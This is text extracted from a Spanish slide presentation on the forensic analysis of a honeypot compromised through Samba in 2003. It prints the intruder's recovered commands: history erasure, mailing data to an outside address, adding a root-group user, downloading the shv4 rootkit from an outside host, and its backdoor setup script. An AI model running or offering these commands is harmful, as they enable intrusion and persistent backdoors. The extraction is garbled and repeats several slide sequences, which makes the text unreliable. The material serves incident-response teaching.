Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 23: Demostracion Hacking Honeypot y Análisis Forense

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 24: Demostracion Hacking Honeypot y Análisis Forense

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 25: Demostracion Hacking Honeypot y Análisis Forense

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

